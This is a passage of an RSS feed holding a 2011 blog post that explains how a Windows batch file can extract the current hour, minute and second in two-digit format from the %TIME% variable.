		<comments>http://blog.larmib.com/2011/dos-command-to-get-the-2-digit-hour-minute-and-second/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 17:29:11 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[Batch]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=105</guid>
		<description><![CDATA[When you just need the current HOUR, MINUTE, SECOND in a batch file. set hr=0%TIME:~0,2% set hr=%hr: =% set hr=%hr:~-2% echo %hr% set min=%TIME:~3,2% echo %min% set sec=%TIME:~6,2% echo %sec% Here is how it works. First off the hour. If you run echo %TIME% and it happens to be 7 AM, you&#8217;ll get &#8221; 7&#8243; [...]]]></description>
			<content:encoded><![CDATA[<p>When you just need the current HOUR, MINUTE, SECOND in a batch file.</p>
<p>set hr=0%TIME:~0,2%<br />
set hr=%hr: =%<br />
set hr=%hr:~-2%<br />
echo %hr%</p>
<p>set min=%TIME:~3,2%<br />
echo %min%</p>
<p>set sec=%TIME:~6,2%<br />
echo %sec%</p>
<p>Here is how it works.</p>
<p>First off the hour. If you run echo %TIME% and it happens to be 7 AM, you&#8217;ll get &#8221; 7&#8243; Well that doesn&#8217;t work if you want the two digit format like &#8220;07&#8243;. To fix that I simply told it to store the information into hr and padded a 0, like so set hr=0%TIME:~0,2%. If it is between the hours of 0-9 then it would look something like this &#8220;0 7&#8243;. To resolve that I simply removed the space like this set hr=%hr: =%. That will leave me with the value of &#8220;07&#8243;. Works great for hours 0-9, what if it was 10? Then the value would be &#8220;010&#8243; which is obviously not correct. That is where the last set command comes in, it selects the last two digits like this set hr=%hr:~-2% which would make &#8220;010&#8243; turn into &#8220;10&#8243;. So all hour formats are happy and the thing works.</p>
<p>The Minute and Second share the same code, except it is already in two digit format so you don&#8217;t need to pad it with a zero, and you don&#8217;t need to replace spaces, so all it does is grabs the two digits and sets them to their respective vars.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/dos-command-to-get-the-2-digit-hour-minute-and-second/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

